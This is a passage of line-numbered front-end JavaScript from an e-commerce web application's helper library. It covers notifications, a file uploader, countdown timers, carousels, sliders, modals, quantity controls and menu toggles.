"ready.ft.table": function (e, ft) { 1127 AIZ.extra.deleteConfirm(); 1128 AIZ.plugins.bootstrapSelect("refresh"); 1129 }, 1130 }, 1131 empty: empty, 1132 }); 1133 }, 1134 notify: function (type = "dark", message = "") { 1135 $.notify( 1136 { 1137 // options 1138 message: message, 1139 }, 1140 { 1141 // settings 1142 showProgressbar: true, 1143 delay: 2500, 1144 mouse_over: "pause", 1145 placement: { 1146 from: "bottom", 1147 align: "left", 1148 }, 1149 animate: { 1150 enter: "animated fadeInUp", 1151 exit: "animated fadeOutDown", 1152 }, 1153 type: type, 1154 template: 1155 '<div data-notify="container" class="aiz-notify alert alert-{0}" role="alert">
1155' + 1156 '<button type="button" aria-hidden="true" data-notify="dismiss" class="close"><i class="las la-times"></i></button>' + 1157 '<span data-notify="message">{2}</span>' + 1158 '<div class="progress" data-notify="progressbar">' + 1159 '<div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" style="width: 0%;"></div>' + 1160 "</div>" + 1161 "</div>", 1162 } 1163 ); 1164 }, 1165 aizUppy: function () { 1166 if ($("#aiz-upload-files").length > 0) { 1167 var uppy = Uppy.Core({ 1168 autoProceed: true, 1169 }); 1170 uppy.use(Uppy.Dashboard, { 1171 target: "#aiz-upload-files", 1172 inline: true, 1173 showLinkToFileUploadResult: false, 1174 showProgressDetails: true, 1175 hideCancelButton: true, 1176 hidePauseResumeButton: true, 1177 hideUploadButton: true, 1178 proudlyDisplayPoweredByUppy: false, 1179 locale: { 1180 strings: { 1181 addMoreFiles: AIZ.local.add_more_files, 1182 addingMoreFiles: AIZ.local.adding_more_files, 1183 dropPaste: 1184 AIZ.local.drop_files_here_paste_or + 1185 " %{browse}", 1186 browse: AIZ.local.browse, 1187 uploadComplete: AIZ.local.upload_complete, 1188 uploadPaused: AIZ.local.upload_paused, 1189 resumeUpload: AIZ.local.resume_upload, 1190 pauseUpload: AIZ.local.pause_upload, 1191 retryUpload: AIZ.local.retry_upload, 1192 cancelUpload: AIZ.local.cancel_upload, 1193 xFilesSelected: { 1194 0: "%{smart_count} " + AIZ.local.file_selected, 1195 1: "%{smart_count} " + AIZ.local.files_selected, 1196 }, 1197 uploadingXFiles: { 1198 0: 1199 AIZ.local.uploading + 1200 " %{smart_count} " + 1201 AIZ.local.file, 1202 1: 1203 AIZ.local.uploading + 1204 " %{smart_count} " + 1205 AIZ.local.files, 1206 }, 1207 processingXFiles: { 1208 0: 1209 AIZ.local.processing + 1210 " %{smart_count} " + 1211 AIZ.local.file, 1212 1: 1213 AIZ.local.processing + 1214 " %{smart_count} " + 1215 AIZ.local.files, 1216 }, 1217 uploading: AIZ.local.uploading, 1218 complete: AIZ.local.complete, 1219 }, 1220 }, 1221 }); 1222 uppy.use(Uppy.XHRUpload, { 1223 endpoint: AIZ.data.appUrl + "/aiz-uploader/upload", 1224 fieldName: "aiz_file", 1225 formData: true, 1226 headers: { 1227 "X-CSRF-TOKEN": AIZ.data.csrf, 1228 }, 1229 }); 1230 uppy.on("upload-success", function () { 1231 AIZ.uploader.getAllUploads( 1232 AIZ.data.appUrl + "/aiz-uploader/get-uploaded-files" 1233 ); 1234 }); 1235 } 1236 }, 1237 tooltip: function () { 1238 $("body") 1239 .tooltip({ selector: '[data-toggle="tooltip"]' }) 1240 .click(function () { 1241 $('[data-toggle="tooltip"]').tooltip("hide"); 1242 }); 1243 }, 1244 countDown: function () { 1245 if ($(".aiz-count-down").length > 0) { 1246 $(".aiz-count-down").each(function () { 1247 var $this = $(this); 1248 var date = $this.data("date"); 1249 // console.log(date) 1250 1251 $this 1252 .countdown(date) 1253 .on("update.countdown", function (event) { 1254 var $this = $(this).html( 1255 event.strftime( 1256 "" + 1257 '<div class="countdown-item"><span class="countdown-digit">%-D</span></div><span class="countdown-separator">:</span>' + 1258 '<div class="countdown-item"><span class="countdown-digit">%H</span></div><span class="countdown-separator">:</span>' + 1259 '<div class="countdown-item"><span class="countdown-digit">%M</span></div><span class="countdown-separator">:</span>' + 1260 '<div class="countdown-item"><span class="countdown-digit">%S</span></div>' 1261 ) 1262 ); 1263 }); 1264 }); 1265 } 1266 }, 1267 countDownBox: function () { 1268 if ($(".aiz-count-down-box").length > 0) { 1269 $(".aiz-count-down-box").each(function () { 1270 var $this = $(this); 1271 var date = $this.data("date"); 1272 // console.log(date) 1273 1274 $this 1275 .countdown(date) 1276 .on("update.countdown", function (event) { 1277 var $this = $(this).html( 1278 event.strftime( 1279 "" + 1280 '<div class="countdown-item"><span class="countdown-digit">%-D</span><span class="countdown-name">DAYS</span></div><span class="countdown-separator">:</span>' + 1281 '<div class="countdown-item"><span class="countdown-digit">%H</span><span class="countdown-name">HRS</span></div><span class="countdown-separator">:</span>' + 1282 '<div class="countdown-item"><span class="countdown-digit">%M</span><span class="countdown-name">MIN</span></div><span class="countdown-separator">:</span>' + 1283 '<div class="countdown-item"><span class="countdown-digit">%S</span><span class="countdown-name">SEC</span></div>' 1284 ) 1285 ); 1286 }); 1287 }); 1288 } 1289 }, 1290 countDownCircle: function () { 1291 let html = 1292 '<div id="time"><div class="circle"><svg><circle cx="30" cy="30" r="30"></circle><circle cx="30" cy="30" r="30" id="dd"></circle></svg><div id="days">00 <br><span>Days</span></div></div>' + 1293 '<div class="circle"><svg><circle cx="30" cy="30" r="30"></circle><circle cx="30" cy="30" r="30" id="hh"></circle></svg><div id="hours">00 <br><span>Hrs</span></div></div>' + 1294 '<div class="circle"><svg><circle cx="30" cy="30" r="30"></circle><circle cx="30" cy="30" r="30" id="mm"></circle></svg><div id="minutes">00 <br><span>Min</span></div></div>' + 1295 '<div class="circle"><svg><circle cx="30" cy="30" r="30"></circle><circle cx="30" cy="30" r="30" id="ss"></circle></svg><div id="seconds">00 <br><span>Sec</span></div></div></div>'; 1296 1297 if ($(".aiz-count-down-circle").length > 0) { 1298 $(".aiz-count-down-circle").each(function () { 1299 var $this = $(this); 1300 $this.html(html); 1301 1302 let days = $this.find("#days"); 1303 let hours = $this.find("#hours"); 1304 let minutes = $this.find("#minutes"); 1305 let seconds = $this.find("#seconds"); 1306 1307 let dd = $this.find("#dd"); 1308 let hh = $this.find("#hh"); 1309 let mm = $this.find("#mm"); 1310 let ss = $this.find("#ss"); 1311 1312 // Date Format mm/dd/yyyy 1313 var endDate = $this.attr("end-date"); 1314 let now = new Date(endDate).getTime(); 1315 let x = setInterval(function () { 1316 let CountDown = new Date().getTime(); 1317 let distance = now - CountDown; 1318 if (distance > 0) { 1319 // Time calculation for days, hours, minutes & seconds 1320 let d = Math.floor( 1321 distance / (1000 * 60 * 60 * 24) 1322 ); 1323 let h = Math.floor( 1324 (distance % (1000 * 60 * 60 * 24)) / 1325 (1000 * 60 * 60) 1326 ); 1327 let m = Math.floor( 1328 (distance % (1000 * 60 * 60)) / (1000 * 60) 1329 ); 1330 let s = Math.floor((distance % (1000 * 60)) / 1000); 1331 1332 // Output the results in elements with id 1333 days.html(d + "<br><span>Days</span>"); 1334 hours.html(h + "<br><span>Hrs</span>"); 1335 minutes.html(m + "<br><span>Min</span>"); 1336 seconds.html(s + "<br><span>Sec</span>"); 1337 1338 // Animate stroke 1339 dd.css("strokeDashoffset", 190 - (190 * d) / 365); // 365 days in a year 1340 hh.css("strokeDashoffset", 190 - (190 * h) / 24); // 24 hours in a day 1341 mm.css("strokeDashoffset", 190 - (190 * m) / 60); // 60 minutes in an hour 1342 ss.css("strokeDashoffset", 190 - (190 * s) / 60);
1342 // 60 seconds in a minute 1343 } else { 1344 // If Countdown is over 1345 clearInterval(x); 1346 } 1347 }); 1348 }); 1349 } 1350 }, 1351 slickCarousel: function () { 1352 $(".aiz-carousel") 1353 .not(".slick-initialized") 1354 .each(function () { 1355 var $this = $(this); 1356 1357 var slidesPerViewXs = $this.data("xs-items"); 1358 var slidesPerViewSm = $this.data("sm-items"); 1359 var slidesPerViewMd = $this.data("md-items"); 1360 var slidesPerViewLg = $this.data("lg-items"); 1361 var slidesPerViewXl = $this.data("xl-items"); 1362 var slidesPerView = $this.data("items"); 1363 1364 var slidesCenterMode = $this.data("center"); 1365 var slidesArrows = $this.data("arrows"); 1366 var slidesDots = $this.data("dots"); 1367 var slidesRows = $this.data("rows"); 1368 var slidesAutoplay = $this.data("autoplay"); 1369 var slidesAutoplaySpeed = $this.data("autoplay-speed"); 1370 var slidesFade = $this.data("fade"); 1371 var asNavFor = $this.data("nav-for"); 1372 var infinite = $this.data("infinite"); 1373 var focusOnSelect = $this.data("focus-select"); 1374 var adaptiveHeight = $this.data("auto-height"); 1375 var variableWidth = $this.data("variableWidth"); 1376 1377 var vertical = $this.data("vertical"); 1378 var verticalXs = $this.data("vertical-xs"); 1379 var verticalSm = $this.data("vertical-sm"); 1380 var verticalMd = $this.data("vertical-md"); 1381 var verticalLg = $this.data("vertical-lg"); 1382 var verticalXl = $this.data("vertical-xl"); 1383 1384 slidesPerView = !slidesPerView ? 1 : slidesPerView; 1385 slidesPerViewXl = !slidesPerViewXl 1386 ? slidesPerView 1387 : slidesPerViewXl; 1388 slidesPerViewLg = !slidesPerViewLg 1389 ? slidesPerViewXl 1390 : slidesPerViewLg; 1391 slidesPerViewMd = !slidesPerViewMd 1392 ? slidesPerViewLg 1393 : slidesPerViewMd; 1394 slidesPerViewSm = !slidesPerViewSm 1395 ? slidesPerViewMd 1396 : slidesPerViewSm; 1397 slidesPerViewXs = !slidesPerViewXs 1398 ? slidesPerViewSm 1399 : slidesPerViewXs; 1400 1401 vertical = !vertical ? false : vertical; 1402 verticalXl = 1403 typeof verticalXl == "undefined" 1404 ? vertical 1405 : verticalXl; 1406 verticalLg = 1407 typeof verticalLg == "undefined" 1408 ? verticalXl 1409 : verticalLg; 1410 verticalMd = 1411 typeof verticalMd == "undefined" 1412 ? verticalLg 1413 : verticalMd; 1414 verticalSm = 1415 typeof verticalSm == "undefined" 1416 ? verticalMd 1417 : verticalSm; 1418 verticalXs = 1419 typeof verticalXs == "undefined" 1420 ? verticalSm 1421 : verticalXs; 1422 1423 slidesCenterMode = !slidesCenterMode 1424 ? false 1425 : slidesCenterMode; 1426 slidesArrows = !slidesArrows ? false : slidesArrows; 1427 slidesDots = !slidesDots ? false : slidesDots; 1428 slidesRows = !slidesRows ? 1 : slidesRows; 1429 slidesAutoplay = !slidesAutoplay ? false : slidesAutoplay;
1430 slidesAutoplaySpeed = !slidesAutoplaySpeed 1431 ? "5000" 1432 : slidesAutoplaySpeed; 1433 slidesFade = !slidesFade ? false : slidesFade; 1434 asNavFor = !asNavFor ? null : asNavFor; 1435 infinite = !infinite ? false : infinite; 1436 focusOnSelect = !focusOnSelect ? false : focusOnSelect; 1437 adaptiveHeight = !adaptiveHeight ? false : adaptiveHeight; 1438 variableWidth = !variableWidth ? false : variableWidth; 1439 1440 var slidesRtl = 1441 $("html").attr("dir") === "rtl" && !vertical 1442 ? true 1443 : false; 1444 var slidesRtlXL = 1445 $("html").attr("dir") === "rtl" && !verticalXl 1446 ? true 1447 : false; 1448 var slidesRtlLg = 1449 $("html").attr("dir") === "rtl" && !verticalLg 1450 ? true 1451 : false; 1452 var slidesRtlMd = 1453 $("html").attr("dir") === "rtl" && !verticalMd 1454 ? true 1455 : false; 1456 var slidesRtlSm = 1457 $("html").attr("dir") === "rtl" && !verticalSm 1458 ? true 1459 : false; 1460 var slidesRtlXs = 1461 $("html").attr("dir") === "rtl" && !verticalXs 1462 ? true 1463 : false; 1464 1465 $this.slick({ 1466 slidesToShow: slidesPerView, 1467 autoplay: slidesAutoplay, 1468 autoplaySpeed: slidesAutoplaySpeed, 1469 dots: slidesDots, 1470 arrows: slidesArrows, 1471 infinite: infinite, 1472 vertical: vertical, 1473 rtl: slidesRtl, 1474 rows: slidesRows, 1475 centerPadding: "0px", 1476 centerMode: slidesCenterMode, 1477 fade: slidesFade, 1478 asNavFor: asNavFor, 1479 focusOnSelect: focusOnSelect, 1480 adaptiveHeight: adaptiveHeight, 1481 slidesToScroll: 1, 1482 variableWidth: variableWidth, 1483 prevArrow: 1484 '<button type="button" class="slick-prev"><i class="las la-arrow-left"></i></button>', 1485 nextArrow: 1486 '<button type="button" class="slick-next"><i class="las la-arrow-right"></i></button>', 1487 responsive: [ 1488 { 1489 breakpoint: 1500, 1490 settings: { 1491 slidesToShow: slidesPerViewXl, 1492 vertical: verticalXl, 1493 rtl: slidesRtlXL, 1494 }, 1495 }, 1496 { 1497 breakpoint: 1200, 1498 settings: { 1499 slidesToShow: slidesPerViewLg, 1500 vertical: verticalLg, 1501 rtl: slidesRtlLg, 1502 }, 1503 }, 1504 { 1505 breakpoint: 992, 1506 settings: { 1507 slidesToShow: slidesPerViewMd, 1508 vertical: verticalMd, 1509 rtl: slidesRtlMd, 1510 }, 1511 }, 1512 { 1513 breakpoint: 768, 1514 settings: { 1515 slidesToShow: slidesPerViewSm, 1516 vertical: verticalSm, 1517 rtl: slidesRtlSm, 1518 }, 1519 }, 1520 { 1521 breakpoint: 576, 1522 settings: { 1523 slidesToShow: slidesPerViewXs, 1524 vertical: verticalXs, 1525 rtl: slidesRtlXs, 1526 }, 1527 }, 1528 ], 1529 }); 1530 }); 1531 }, 1532 chart: function (selector, config) { 1533 if (!$(selector).length) return; 1534 1535 $(selector).each(function () { 1536 var $this = $(this); 1537 1538 var aizChart = new Chart($this, config); 1539 }); 1540 }, 1541 noUiSlider: function () { 1542 if ($(".aiz-range-slider")[0]) { 1543 $(".aiz-range-slider").each(function () { 1544 var c = document.getElementById("input-slider-range"), 1545 d = document.getElementById( 1546 "input-slider-range-value-low" 1547 ), 1548 e = document.getElementById( 1549 "input-slider-range-value-high" 1550 ), 1551 f = [d, e]; 1552 1553 noUiSlider.create(c, { 1554 start: [ 1555 parseInt(d.getAttribute("data-range-value-low")), 1556 parseInt(e.getAttribute("data-range-value-high")), 1557 ], 1558 connect: !0, 1559 range: { 1560 min: parseInt( 1561 c.getAttribute("data-range-value-min") 1562 ), 1563 max: parseInt( 1564 c.getAttribute("data-range-value-max") 1565 ), 1566 }, 1567 }), 1568 c.noUiSlider.on("update", function (a, b) { 1569 f[b].textContent = a[b]; 1570 }), 1571 c.noUiSlider.on("change", function (a, b) { 1572 rangefilter(a); 1573 }); 1574 }); 1575 } 1576 }, 1577 zoom: function () { 1578 if ($(".img-zoom")[0]) { 1579 $(".img-zoom").zoom({ 1580 magnify: 1.5, 1581 }); 1582 if ( 1583 "ontouchstart" in window || 1584 navigator.maxTouchPoints > 0 || 1585 navigator.msMaxTouchPoints > 0 1586 ) { 1587 $(".img-zoom").trigger("zoom.destroy"); 1588 } 1589 } 1590 }, 1591 jsSocials: function () { 1592 if ($(".aiz-share")[0]) { 1593 $(".aiz-share").jsSocials({ 1594 showLabel: false, 1595 showCount: false, 1596 shares: [ 1597 { 1598 share: "twitter", 1599 logo: "lab la-twitter", 1600 }, 1601 { 1602 share: "facebook", 1603 logo: "lab la-facebook-f", 1604 }, 1605 { 1606 share: "whatsapp", 1607 logo: "lab la-whatsapp", 1608 }, 1609 ], 1610 }); 1611 } 1612 }, 1613 particles: function () { 1614 particlesJS( 1615 "particles-js", 1616 1617 { 1618 particles: { 1619 number: { 1620 value: 80, 1621 density: { 1622 enable: true, 1623 value_area: 800, 1624 }, 1625 }, 1626 color: { 1627 value: "#dfdfe6", 1628 }, 1629 shape: { 1630 type: "circle", 1631 stroke: { 1632 width: 0, 1633 color: "#000000", 1634 }, 1635 polygon: { 1636 nb_sides: 5, 1637 }, 1638 image: { 1639 src: "img/github.svg", 1640 width: 100, 1641 height: 100, 1642 }, 1643 }, 1644 opacity: { 1645 value: 0.5, 1646 random: false, 1647 anim: { 1648 enable: false, 1649 speed: 1, 1650 opacity_min: 0.1, 1651 sync: false, 1652 }, 1653 }, 1654 size: { 1655 value: 5, 1656 random: true, 1657 anim: { 1658 enable: false, 1659 speed: 40, 1660 size_min: 0.1, 1661 sync: false, 1662 }, 1663 }, 1664 line_linked: { 1665 enable: true, 1666 distance: 150, 1667 color: "#dfdfe6", 1668 opacity: 0.4, 1669 width: 1, 1670 }, 1671 move: { 1672 enable: true, 1673 speed: 6,
1674 direction: "none", 1675 random: false, 1676 straight: false, 1677 out_mode: "out", 1678 attract: { 1679 enable: false, 1680 rotateX: 600, 1681 rotateY: 1200, 1682 }, 1683 }, 1684 }, 1685 interactivity: { 1686 detect_on: "canvas", 1687 events: { 1688 onhover: { 1689 enable: true, 1690 mode: "repulse", 1691 }, 1692 onclick: { 1693 enable: true, 1694 mode: "push", 1695 }, 1696 resize: true, 1697 }, 1698 modes: { 1699 grab: { 1700 distance: 400, 1701 line_linked: { 1702 opacity: 1, 1703 }, 1704 }, 1705 bubble: { 1706 distance: 400, 1707 size: 40, 1708 duration: 2, 1709 opacity: 8, 1710 speed: 3, 1711 }, 1712 repulse: { 1713 distance: 200, 1714 }, 1715 push: { 1716 particles_nb: 4, 1717 }, 1718 remove: { 1719 particles_nb: 2, 1720 }, 1721 }, 1722 }, 1723 retina_detect: true, 1724 config_demo: { 1725 hide_card: false, 1726 background_color: "#b61924", 1727 background_image: "", 1728 background_position: "50% 50%", 1729 background_repeat: "no-repeat", 1730 background_size: "cover", 1731 }, 1732 } 1733 ); 1734 }, 1735 }; 1736 AIZ.extra = { 1737 refreshToken: function () { 1738 $.get(AIZ.data.appUrl + "/refresh-csrf").done(function (data) { 1739 AIZ.data.csrf = data; 1740 }); 1741 // console.log(AIZ.data.csrf); 1742 }, 1743 mobileNavToggle: function () { 1744 if (window.matchMedia("(max-width: 1200px)").matches) { 1745 $("body").addClass("side-menu-closed"); 1746 } 1747 $('[data-toggle="aiz-mobile-nav"]').on("click", function () { 1748 if ($("body").hasClass("side-menu-open")) { 1749 $("body") 1750 .addClass("side-menu-closed") 1751 .removeClass("side-menu-open"); 1752 } else if ($("body").hasClass("side-menu-closed")) { 1753 $("body") 1754 .removeClass("side-menu-closed") 1755 .addClass("side-menu-open"); 1756 } else { 1757 $("body") 1758 .removeClass("side-menu-open") 1759 .addClass("side-menu-closed"); 1760 } 1761 }); 1762 $(".aiz-sidebar-overlay").on("click", function () { 1763 $("body") 1764 .removeClass("side-menu-open") 1765 .addClass("side-menu-closed"); 1766 }); 1767 }, 1768 initActiveMenu: function () { 1769 $('[data-toggle="aiz-side-menu"] a').each(function () { 1770 var pageUrl = window.location.href.split(/[?#]/)[0]; 1771 if (this.href == pageUrl || $(this).hasClass("active")) { 1772 $(this).addClass("active"); 1773 $(this).closest(".aiz-side-nav-item").addClass("mm-active"); 1774 $(this) 1775 .closest(".level-2") 1776 .siblings("a") 1777 .addClass("level-2-active"); 1778 $(this) 1779 .closest(".level-3") 1780 .siblings("a") 1781 .addClass("level-3-active"); 1782 } 1783 }); 1784 }, 1785 deleteConfirm: function () { 1786 $(".confirm-delete").click(function (e) { 1787 e.preventDefault(); 1788 var url = $(this).data("href"); 1789 $("#delete-modal").modal("show"); 1790 $("#delete-link").attr("href", url); 1791 }); 1792 1793 $(".confirm-cancel").click(function (e) { 1794 e.preventDefault(); 1795 var url = $(this).data("href"); 1796 $("#cancel-modal").modal("show"); 1797 $("#cancel-link").attr("href", url); 1798 }); 1799 1800 $(".confirm-complete").click(function (e) { 1801 e.preventDefault(); 1802 var url = $(this).data("href"); 1803 $("#complete-modal").modal("show"); 1804 $("#comfirm-link").attr("href", url); 1805 }); 1806 1807 $(".confirm-alert").click(function (e) { 1808 e.preventDefault(); 1809 var url = $(this).data("href"); 1810 var target = $(this).data("target"); 1811 $(target).modal("show"); 1812 $(target).find(".comfirm-link").attr("href", url); 1813 $("#comfirm-link").attr("href", url); 1814 }); 1815 }, 1816 bytesToSize: function (bytes) { 1817 var sizes = ["Bytes", "KB", "MB", "GB", "TB"]; 1818 if (bytes == 0) return "0 Byte"; 1819 var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024))); 1820 return Math.round(bytes / Math.pow(1024, i), 2) + " " + sizes[i]; 1821 }, 1822 multiModal: function () { 1823 $(document).on("show.bs.modal", ".modal", function (event) { 1824 var zIndex = 1040 + 10 * $(".modal:visible").length; 1825 $(this).css("z-index", zIndex); 1826 setTimeout(function () { 1827 $(".modal-backdrop") 1828 .not(".modal-stack") 1829 .css("z-index", zIndex - 1) 1830 .addClass("modal-stack"); 1831 }, 0); 1832 }); 1833 $(document).on("hidden.bs.modal", function () { 1834 if ($(".modal.show").length > 0) { 1835 $("body").addClass("modal-open"); 1836 } 1837 }); 1838 }, 1839 bsCustomFile: function () { 1840 $(".custom-file input").change(function (e) { 1841 var files = []; 1842 for (var i = 0; i < $(this)[0].files.length; i++) { 1843 files.push($(this)[0].files[i].name); 1844 } 1845 if (files.length === 1) { 1846 $(this).next(".custom-file-name").html(files[0]); 1847 } else if (files.length > 1) { 1848 $(this) 1849 .next(".custom-file-name") 1850 .html(files.length + " " + AIZ.local.files_selected); 1851 } else { 1852 $(this) 1853 .next(".custom-file-name") 1854 .html(AIZ.local.choose_file); 1855 } 1856 }); 1857 }, 1858 stopPropagation: function () { 1859 $(document).on("click", ".stop-propagation", function (e) { 1860 e.stopPropagation(); 1861 }); 1862 }, 1863 outsideClickHide: function () { 1864 $(document).on("click", function (e) { 1865 $(".document-click-d-none").addClass("d-none"); 1866 }); 1867 }, 1868 inputRating: function () { 1869 $(".rating-input").each(function () { 1870 $(this) 1871 .find("label") 1872 .on({ 1873 mouseover: function (event) { 1874 $(this).find("i").addClass("hover"); 1875 $(this).prevAll().find("i").addClass("hover"); 1876 }, 1877 mouseleave: function (event) { 1878 $(this).find("i").removeClass("hover"); 1879 $(this).prevAll().find("i").removeClass("hover"); 1880 }, 1881 click: function (event) { 1882 $(this).siblings().find("i").removeClass("active"); 1883 $(this).find("i").addClass("active"); 1884 $(this).prevAll().find("i").addClass("active"); 1885 }, 1886 }); 1887 if ($(this).find("input").is(":checked")) { 1888 $(this) 1889 .find("label") 1890 .siblings() 1891 .find("i") 1892 .removeClass("active"); 1893 $(this) 1894 .find("input:checked") 1895 .closest("label") 1896 .find("i") 1897 .addClass("active"); 1898 $(this) 1899 .find("input:checked") 1900 .closest("label") 1901 .prevAll() 1902 .find("i") 1903 .addClass("active"); 1904 } 1905 }); 1906 }, 1907 scrollToBottom: function () { 1908 $(".scroll-to-btm").each(function (i, el) { 1909 el.scrollTop = el.scrollHeight; 1910 }); 1911 }, 1912 classToggle: function () { 1913 $(document).on( 1914 "click", 1915 '[data-toggle="class-toggle"]', 1916 function () { 1917 var $this = $(this); 1918 var target = $this.data("target"); 1919 var sameTriggers = $this.data("same"); 1920 var backdrop = $(this).data("backdrop"); 1921 1922 if ($(target).hasClass("active")) { 1923 $(target).removeClass("active"); 1924 $(sameTriggers).removeClass("active"); 1925 $this.removeClass("active"); 1926 $("body").removeClass("overflow-hidden"); 1927 } else { 1928 $(target).addClass("active"); 1929 $this.addClass("active"); 1930 if (backdrop == "static") { 1931 $("body").addClass("overflow-hidden"); 1932 } 1933 } 1934 } 1935 ); 1936 }, 1937 collapseSidebar: function () { 1938 $(document).on( 1939 "click", 1940 '[data-toggle="collapse-sidebar"]', 1941 function (i, el) { 1942 var $this = $(this); 1943 var target = $(this).data("target"); 1944 var sameTriggers = $(this).data("siblings"); 1945 1946 // var showOverlay = $this.data('overlay'); 1947 // var overlayMarkup = '<div class="overlay overlay-fixed dark c-pointer" data-toggle="collapse-sidebar" data-target="'+target+'"></div>'; 1948 1949 // showOverlay = !showOverlay ? true : showOverlay; 1950 1951 // if (showOverlay && $(target).siblings('.overlay').length !== 1) { 1952 // $(target).after(overlayMarkup); 1953 // } 1954 1955 e.preventDefault(); 1956 if ($(target).hasClass("opened")) { 1957 $(target).removeClass("opened"); 1958 $(sameTriggers).removeClass("opened"); 1959 $($this).removeClass("opened"); 1960 } else { 1961 $(target).addClass("opened"); 1962 $($this).addClass("opened"); 1963 } 1964 } 1965 ); 1966 }, 1967 autoScroll: function () { 1968 if ($(".aiz-auto-scroll").length > 0) { 1969 $(".aiz-auto-scroll").each(function () { 1970 var options = $(this).data("options"); 1971 1972 options = !options 1973 ? '{"delay" : 2000 ,"amount" : 70 }' 1974 : options; 1975 1976 options = JSON.parse(options); 1977 1978 this.delay = parseInt(options["delay"]) || 2000; 1979 this.amount = parseInt(options["amount"]) || 70; 1980 this.autoScroll = $(this); 1981 this.iScrollHeight = this.autoScroll.prop("scrollHeight"); 1982 this.iScrollTop = this.autoScroll.prop("scrollTop"); 1983 this.iHeight = this.autoScroll.height(); 1984 1985 var self = this; 1986 this.timerId = setInterval(function () { 1987 if ( 1988 self.iScrollTop + self.iHeight < 1989 self.iScrollHeight 1990 ) { 1991 self.iScrollTop = self.autoScroll.prop("scrollTop"); 1992 self.iScrollTop += self.amount; 1993 self.autoScroll.animate( 1994 { scrollTop: self.iScrollTop }, 1995 "slow", 1996 "linear" 1997 ); 1998 } else { 1999 self.iScrollTop -= self.iScrollTop; 2000 self.autoScroll.animate( 2001 { scrollTop: "0px" }, 2002 "fast", 2003 "swing" 2004 ); 2005 } 2006 }, self.delay); 2007 }); 2008 } 2009 }, 2010 addMore: function () { 2011 $('[data-toggle="add-more"]').each(function () { 2012 var $this = $(this);
2013 var content = $this.data("content"); 2014 var target = $this.data("target"); 2015 2016 $this.on("click", function (e) { 2017 e.preventDefault(); 2018 $(target).append(content); 2019 AIZ.plugins.bootstrapSelect(); 2020 }); 2021 }); 2022 }, 2023 removeParent: function () { 2024 $(document).on( 2025 "click", 2026 '[data-toggle="remove-parent"]', 2027 function () { 2028 var $this = $(this); 2029 var parent = $this.data("parent"); 2030 $this.closest(parent).remove(); 2031 } 2032 ); 2033 }, 2034 selectHideShow: function () { 2035 $('[data-show="selectShow"]').each(function () { 2036 var target = $(this).data("target"); 2037 $(this).on("change", function () { 2038 var value = $(this).val(); 2039 // console.log(value); 2040 $(target) 2041 .children() 2042 .not("." + value) 2043 .addClass("d-none"); 2044 $(target) 2045 .find("." + value) 2046 .removeClass("d-none"); 2047 }); 2048 }); 2049 }, 2050 plusMinus: function () { 2051 $(".aiz-plus-minus input").each(function () { 2052 var $this = $(this); 2053 var min = parseInt($(this).attr("min")); 2054 var max = parseInt($(this).attr("max")); 2055 var value = parseInt($(this).val()); 2056 if (value <= min) { 2057 $this 2058 .siblings('[data-type="minus"]') 2059 .attr("disabled", true); 2060 } else if ( 2061 $this.siblings('[data-type="minus"]').attr("disabled") 2062 ) { 2063 $this 2064 .siblings('[data-type="minus"]') 2065 .removeAttr("disabled"); 2066 } 2067 if (value >= max) { 2068 $this.siblings('[data-type="plus"]').attr("disabled", true); 2069 } else if ( 2070 $this.siblings('[data-type="plus"]').attr("disabled") 2071 ) { 2072 $this.siblings('[data-type="plus"]').removeAttr("disabled"); 2073 } 2074 }); 2075 $(".aiz-plus-minus button") 2076 .off("click") 2077 .on("click", function (e) { 2078 e.preventDefault(); 2079 2080 var fieldName = $(this).attr("data-field"); 2081 var type = $(this).attr("data-type"); 2082 var input = $("input[name='" + fieldName + "']"); 2083 var currentVal = parseInt(input.val()); 2084 2085 if (!isNaN(currentVal)) { 2086 if (type == "minus") { 2087 if (currentVal > input.attr("min")) { 2088 input.val(currentVal - 1).change(); 2089 } 2090 if (parseInt(input.val()) == input.attr("min")) { 2091 $(this).attr("disabled", true); 2092 } 2093 } else if (type == "plus") { 2094 if (currentVal < input.attr("max")) { 2095 input.val(currentVal + 1).change(); 2096 } 2097 if (parseInt(input.val()) == input.attr("max")) { 2098 $(this).attr("disabled", true); 2099 } 2100 } 2101 } else { 2102 input.val(0); 2103 } 2104 }); 2105 $(".aiz-plus-minus input") 2106 .off("change") 2107 .on("change", function () { 2108 var minValue = parseInt($(this).attr("min")); 2109 var maxValue = parseInt($(this).attr("max")); 2110 var valueCurrent = parseInt($(this).val()); 2111 2112 name = $(this).attr("name");
2113 if (valueCurrent >= minValue) { 2114 $(this) 2115 .siblings("[data-type='minus']") 2116 .removeAttr("disabled"); 2117 } else { 2118 alert( 2119 translate( 2120 "Sorry, the minimum limit has been reached" 2121 ) 2122 ); 2123 $(this).val(minValue); 2124 } 2125 if (valueCurrent <= maxValue) { 2126 $(this) 2127 .siblings("[data-type='plus']") 2128 .removeAttr("disabled"); 2129 } else { 2130 alert( 2131 translate( 2132 "Sorry, the maximum limit has been reached" 2133 ) 2134 ); 2135 $(this).val(maxValue); 2136 } 2137 2138 if (typeof getVariantPrice === "function") { 2139 getVariantPrice(); 2140 } 2141 }); 2142 }, 2143 hovCategoryMenu: function () { 2144 $("#category-menu-icon, #category-sidebar") 2145 .on("mouseover", function (event) { 2146 $("#hover-category-menu") 2147 .addClass("active") 2148 .removeClass("d-none"); 2149 }) 2150 .on("mouseout", function (event) { 2151 $("#hover-category-menu") 2152 .addClass("d-none") 2153 .removeClass("active"); 2154 }); 2155 }, 2156 clickCategoryMenu: function () { 2157 var menu = $("#click-category-menu"); 2158 menu.hide(); 2159 menu.removeClass("d-none"); 2160 $("#category-menu-bar").on("click", function (event) { 2161 if (event.target.closest('.categoriesAll')) { 2162 event.stopPropagation(); 2163 }else{ 2164 menu.slideToggle(500); 2165 if ($("#category-menu-bar-icon").hasClass("show")) { 2166 $("#category-menu-bar-icon").removeClass("show"); 2167 } else { 2168 $("#category-menu-bar-icon").addClass("show"); 2169 } 2170 } 2171 2172 }); 2173 }, 2174 hovUserTopMenu: function () { 2175 $("#nav-user-info") 2176 .on("mouseover", function (event) { 2177 $(".hover-user-top-menu").addClass("active"); 2178 }) 2179 .on("mouseout", function (event) { 2180 $(".hover-user-top-menu").removeClass("active"); 2181 }); 2182 }, 2183 trimAppUrl: function () { 2184 if (AIZ.data.appUrl.slice(-1) == "/") { 2185 AIZ.data.appUrl = AIZ.data.appUrl.slice( 2186 0, 2187 